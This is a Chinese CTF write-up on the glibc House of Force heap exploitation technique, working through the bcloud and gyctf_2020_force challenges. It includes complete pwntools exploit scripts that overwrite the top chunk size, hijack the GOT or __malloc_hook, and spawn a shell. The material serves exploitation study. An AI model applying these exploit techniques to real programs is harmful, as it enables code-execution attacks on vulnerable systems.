House of Force
House of Force
0x00 原理介绍
当申请的chunk足够大,glibc在tcache和bins中都找不到匹配大小的时候,就会对top chunk进行分割,取出合适大小 、进行分配。House of Force作为一种堆利用方式,关键是利用溢出漏洞对top chunk的size进行改写,让size非常大,这样top chunk的范围包含了像.data和.bss这些数据段。这样我们在申请chunk分配之后就可以有任意写操作。
在匹配完空闲块找不到合适之后,malloc机制会拿申请的chunk的大小与top chunk比较。
// 获取当前的top chunk,并计算其对应的大小
victim = av->top;
size = chunksize(victim);
// 如果在分割之后,其大小仍然满足 chunk 的最小大小,那么就可以直接进行分割。
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
{
remainder_size = size - nb;
remainder = chunk_at_offset(victim, nb);
av->top = remainder;
set_head(victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head(remainder, remainder_size | PREV_INUSE);
check_malloced_chunk(av, victim, nb);
void *p = chunk2mem(victim);
alloc_perturb(p, bytes);
return p;
}
当把size改为非常大时,我们申请任意一个比其小的,就可以绕过这个验证。
一般会改size为-1,这样存储的形式是以补码0xffffffffffffffff
的形式存在的,这就已经是非常大的了,不能再大了。如此验证很轻松就绕过。
remainder = chunk_at_offset(victim, nb);
av->top = remainder;
/* Treat space at ptr + offset as a chunk */
#define chunk_at_offset(p, s) ((mchunkptr)(((char *) (p)) + (s)))
随着chunk的申请指针会不断更新
所以,申请之后让top chunk的指针指向target-0x10处,那么再下一次分配我们将到达控制target的目的。
总之,house of force需要有两个条件
- 利用漏洞使得 top chunk 的 size 域被改写
- 可以申请 可控大小的chunk
0x01 bcloud
try
root@ubuntu20:~/hof# ./bcloud
Input your name:
ln
Hey ln! Welcome to BCTF CLOUD NOTE MANAGE SYSTEM!
Now let's set synchronization options.
Org:
1
Host:
1.1.1.1
OKay! Enjoy:)
1.New note
2.Show note
3.Edit note
4.Delete note
5.Syn
6.Quit
option--->>
checksec
root@ubuntu20:~/hof# checksec bcloud
[*] '/root/hof/bcloud'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8047000)
RUNPATH: '/usr/local/glibc-all-in-one/libs/2.23-0ubuntu3_i386'
0x02 伪代码分析
拖进ida,注意是32位,程序大概的功能:
1.new:输入size,malloc大小为size+4的块,保存返回指针到ptr_array[i],保存size大小到size_array[i],输入内容,若创建成功,返回note的id,dword_804B0E0[idx]标志置零
2.show:show函数只是个幌子,没有用
3.edit:输入id,根据输入id从ptr_array[idx]取出对应的chunk指针,赋值给ptr,输入内容,通过ptr重新修改,dword_804B0E0[idx]标志置零
4.delete:输入id,根据id找到chunk的正文指针赋给ptr,清空存放的指针还有size,再free chunk
5.sync_note:输入id,把dword_804B0E0[idx]标志置为1
6.input_name : 初始化缓冲区,输入name,长度可以为64个字节,申请一个0x40的chunk返回指针赋值给ptr,拷贝刚刚输入的字符串到chunk里面,通过print ptr输出chunk的内容。
0x03 漏洞利用
int __cdecl iread(int a1, int a2, char a3)
{
char buf; // [esp+1Bh] [ebp-Dh] BYREF
int i; // [esp+1Ch] [ebp-Ch]
for ( i = 0; i < a2; ++i )
{
if ( read(0, &buf, 1u) <= 0 )
exit(-1);
if ( buf == a3 )
break;
*(_BYTE *)(a1 + i) = buf;
}
*(_BYTE *)(i + a1) = 0;
return i;
}
iread函数是一个自定义的读入字符的函数,但是这里边界没有严格检查,出现off-by-one漏洞,null byte overflow
0x04 泄露地址
在初始化input_name的时候,可以输入64个字符恰好把ptr的低字节覆盖成\x00
,
char s[64];
char *ptr;
ptr在后面申请的chunk返回指针又会把这个\x00
给覆盖掉,
ptr = (char *)malloc(0x40u);
造成原本的name没有00结束符截断,会把ptr这个指针一并拷贝给chunk,通过printf就可以泄露该地址,就是chunk的地址
code如下:
io.sendafter("Input your name:\n", 'a' * 0x40)
io.recvuntil('a' * 0x40)
chunk1_data_addr = u32(io.recvn(4))
log.info('chunk1_data_addr:0x%x' % chunk1_data_addr)
0x05 覆盖修改top chunk头
input_org_host函数几个局部变量在栈中的情况大概如下:
构造0x40*'X'
和0xffffffff+(0x40-4)*'Y'
分别对应输入
再经过拷贝
strcpy(ptr2, t);
strcpy(ptr1, s);
code如下:
io.sendafter("Org:\n", 'X' * 0x40)
io.sendafter("Host:\n", p32(0xffffffff) + (0x40 - 4) * b'Y')
io.recvuntil("OKay! Enjoy:)\n")
就会出现如下的内存分布情况:
此时,top chunk的size已经被改为0xffffffff
0x06 准确偏移到target
从之前溢出的chunk1的地址,加上偏移即可算出top chunk的地址
top_chunk_addr = chunk1_data_addr + 0xd0 (0x48-0x8+0x48+0x48)
选定存储note指针的地方作为我们target
.bss: 0804B120 ptr_array
算出偏移,也就是即将申请的chunk大小,
evil_data_size = ptr_array - top_chunk_addr - 8 - 8
这样在new出来evil之后,top chunk的头部刚好落在ptr_array-0x8的位置,这样再申请下一个chunk的正文部分必然落到ptr_array上
new_note(evil_data_size - 4, "") #-4呼应了伪代码的+4
0x07 泄露libc基地址,覆盖got表项
注意:不可根据前面泄露的chunk的地址来算libc的基地址,因为heap和libc的偏移不是固定的。
这道题的RELRO
和PIE
保护都没有开,所以可以改got表项
把free@got指向puts@plt,再用puts函数输出printf@got的值也就是printf的地址,这样就可以算libc的基地址
new_note(0x40, 'AA') #1
new_note(0x40, 'BB') #2
new_note(0x40, 'CC') #3
new_note(0x40, 'DD') #4
new_note(0x40, '/bin/sh') #5
edit_note(1, p32(0) + p32(ptr_array) + p32(free_got) + p32(printf_got))
edit_note(2, p32(puts_plt))
del_note(3)
printf_addr = u32(io.recv(4))
log.info('printf_addr: 0x%x',printf_addr)
libc_base = printf_addr - libc.sym["printf"]
log.info('libc_base addr:0x%x',libc_base)
system_addr = libc_base+ libc.symbols["system"]
log.info('system_addr:0x%x' % system_addr)
0x08 写入system
按照泄露的思路,把free改成system
有如下code:
edit_note(2,p32(system_addr))
del_note(5)
io.interactive()
tips:不要动evil chunk
之前一开始想着,把id为0的改成free@got地址,再edit成system地址就好了
edit_note(1, p32(free_got)) edit_note(0, p32(system_addr))
但是出错了
原因是id为0时的chunk,正是我们申请的evil chunk,他的size很大(0xfffff034),这就导致了edit的时
iread(ptr, size, 10)
出错。所以要避开使用id=0的这个evil chunk
0x08完整exploit
# -*- coding: utf-8 -*-
from pwn import *
context.terminal = ['gnome-terminal','-x','sh','-c']
context.update(arch='i386', os='linux')
io = process('./bcloud')
libc = ELF("./libc-2.23.so")
def new_note(size, content):
io.sendlineafter('option--->>\n', '1')
io.sendlineafter("Input the length of the note content:\n", str(size))
io.sendlineafter("Input the content:\n", content)
io.recvline()
def edit_note(idx, content):
io.sendlineafter('option--->>\n', '3')
io.sendlineafter("Input the id:\n", str(idx))
io.sendlineafter("Input the new content:\n", content)
io.recvline()
def del_note(idx):
io.sendlineafter('option--->>\n', '4')
io.sendlineafter("Input the id:\n", str(idx))
ptr_array = 0x804b120
free_got = 0x804b014
puts_plt = 0x8048520
printf_got = 0x804b010
io.sendafter("Input your name:\n", 'a' * 0x40)
io.recvuntil('a' * 0x40)
chunk1_data_addr = u32(io.recvn(4))
log.info('chunk1_data_addr:0x%x' % chunk1_data_addr)
io.sendafter("Org:\n", 'X' * 0x40)
io.sendafter("Host:\n", p32(0xffffffff) + (0x40 - 4) * b'Y')
io.recvuntil("OKay! Enjoy:)\n")
top_chunk_addr = chunk1_data_addr + 0xd0
log.info('top_chunk_addr:'+str(hex(top_chunk_addr)))
evil_data_size = ptr_array - top_chunk_addr - 8 - 8
log.info('evil_data_size:'+ str(hex(evil_data_size)))
new_note(evil_data_size - 4, "") #0
new_note(0x40, 'AA') #1
new_note(0x40, 'BB') #2
new_note(0x40, 'CC') #3
new_note(0x40, 'DD') #4
new_note(0x40, '/bin/sh') #5
edit_note(1, p32(0) + p32(ptr_array) + p32(free_got) + p32(printf_got))
edit_note(2, p32(puts_plt))
del_note(3)
printf_addr = u32(io.recv(4))
log.info('printf_addr: 0x%x',printf_addr)
libc_base = printf_addr - libc.sym["printf"]
log.info('libc_base addr:0x%x',libc_base)
system_addr = libc_base+ libc.symbols["system"]
log.info('system_addr:0x%x' % system_addr)
pause()
edit_note(2,p32(system_addr))
del_note(5)
io.interactive()
总结:
有个之前忽略的地方,现在明白了,就是heap基地址和libc基地址的偏移不会是固定的,而vmmap和libc的基地址才是固定的。总体来说不是很难。
0x01 gyctf_2020_force
try
root@ubuntu20:~/hof# ./gyctf_2020_force
1:add
2:puts
1
size
32
bin addr 0x55555575c010
content
aa
done
1:add
2:puts
2
1:add
2:puts
checksec一下,保护全开
root@ubuntu20:~/hof# checksec gyctf_2020_force
[*] '/root/hof/gyctf_2020_force'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: '/usr/local/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/'
0x02 伪代码分析
拉进ida64,程序的大概功能是:
1.输入命令
2.add函数:输入任意大小的size,根据size大小申请chunk并将返回的地址逐个存入ptr_array数组中,然后把该指针地址输出,再输入最大0x50大小的内容
3.puts:puts函数puts同一个毫不相干的地址单元,没有用处
0x03 漏洞利用
- add函数中
puts("size");
read(0, nptr, 0xFuLL);
size = atol(nptr);
*ptr_array = malloc(size);
if ( !*ptr_array )
exit(0);
printf("bin addr %p\n", *ptr_array);
puts("content");
read(0, (void *)*ptr_array, 0x50uLL);
由于size可控,便可申请小于0x50的chunk,读入超过size的内容,造成溢出
可覆盖top chunk头部,造成house of force
0x04 泄露地址
申请一个足够大的size,让mmap来分配内存,返回的地址会被printf输出,由于mmap和libc的基地址偏移是固定不变的,所以可以根据偏移可以算出libc的基地址
code如下:
libc_base = new(200000,'aa')-0x5b4010
log.info('libc base addr: 0x%x',libc_base)
0x05 覆盖修改top chunk头
根据前面的漏洞,我们可以申请一个0x20大小的chunk,然后输入超过0x20大小的内容,修改topchunk的头部
chunk_0 = new(0x20,'a'*0x20+p64(0)+p64(0xFFFFFFFFFFFFFFFF)) #top_chunk size
top_chunk = chunk_0 + 0x20
log.info('top_chunk addr: 0x%x',top_chunk)
0x06 准确偏移到target
由于程序保护全开,我们需要进行hook劫持
毫无疑问,malloc_hook将会是我们的target。
那就要让top chunk的头部跑到malloc_hook的前面0x10处这样才会让申请的下一个chunk的返回指针指向malloc_hook,然后我们往malloc_hook填入one_gadget,以此到达getshell目的。
malloc_hook = libc_base + libc.sym['__malloc_hook']
realloc = libc.sym['__libc_realloc'] + libc_base
log.info('malloc_hook and libc_realloc addr: 0x%x,0x%x',malloc_hook,realloc)
size = malloc_hook - top_chunk - 0x10 #offset
0x07 realloc_hook微调栈帧 rsp
但是经过尝试,4个one_gadget没有一个能直接getshell;原因就是条件没有符合
root@ubuntu20:~/hof# one_gadget /usr/local/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so
0x45206 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4525a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xef9f4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf0897 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
要知道每一个libc的one_gadget能够成功执行,都需要前提条件满足就是上面的constrains。
这就涉及到利用realloc_hook微调rsp 来使得条件满足。
大致的执行流程如下:
malloc_hook --> realloc_hook+0x10 --> realloc_hook --> onegadget
code如下:
new(size-0x20,b'a')
one_gadget = [0x45206,0x4525a,0xef9f4,0xf0897]
log.info('one_gadget addr: 0x%x',one_gadget[1]+libc_base)
new(0x10, 'a' * 0x8 + p64(one_gadget[1]+libc_base) + p64(realloc + 0x10))
pause()
p.sendlineafter('2:puts\n', '1')
p.sendlineafter('size\n', str(0x30))#执行malloc_hook -> realloc_hook+0x10->realloc_hook-> onegadget
p.interactive()
覆盖malloc和realloc之前,内存情况如下:
覆盖之后,执行情况如下:
0x08 完整的exploit
from pwn import *
p = process('./gyctf_2020_force')
elf = ELF('./gyctf_2020_force')
libc = elf.libc
def new(size, content):
p.sendlineafter('2:puts\n', '1')
p.sendlineafter('size\n', str(size))
p.recvuntil('addr ')
addr = int(p.recv(14), 16)
p.sendlineafter('content\n', content)
return addr
libc_base = new(200000,'aa')-0x5b8000-0x10
log.info('libc base addr: 0x%x',libc_base)
chunk_0 = new(0x20,'a'*0x20+p64(0)+p64(0xFFFFFFFFFFFFFFFF)) #top_chunk size
top_chunk = chunk_0 + 0x20
log.info('top_chunk addr: 0x%x',top_chunk)
pause()
malloc_hook = libc_base + libc.sym['__malloc_hook']
realloc = libc.sym['__libc_realloc'] + libc_base
log.info('malloc_hook and libc_realloc addr: 0x%x,0x%x',malloc_hook,realloc)
size = malloc_hook - top_chunk - 0x10
new(size-0x20,b'a')
pause()
one_gadget = [0x45206,0x4525a,0xef9f4,0xf0897]
log.info('one_gadget addr: 0x%x',one_gadget[1]+libc_base)
#new(0x30,p64(one_gadget[2]+libc_base)+p64(0))
new(0x10, 'a' * 0x8 + p64(one_gadget[1]+libc_base) + p64(realloc + 0x10))
pause()
p.sendlineafter('2:puts\n', '1')
p.sendlineafter('size\n', str(0x30))
p.interactive()
总结
这道题有两个关键,house of force自然不用说,一是mmap泄露地址,跟之前做过的Asis CTF 2016 b00ks泄露地址的姿势是一样的;二是在one_gadget条件不满足的情况下,用realloc来微调rsp,使条件满足。
house of force的精髓
一是溢出修改top chunk头
二是计算好target与超大top chunk的offset
三是分配,控制target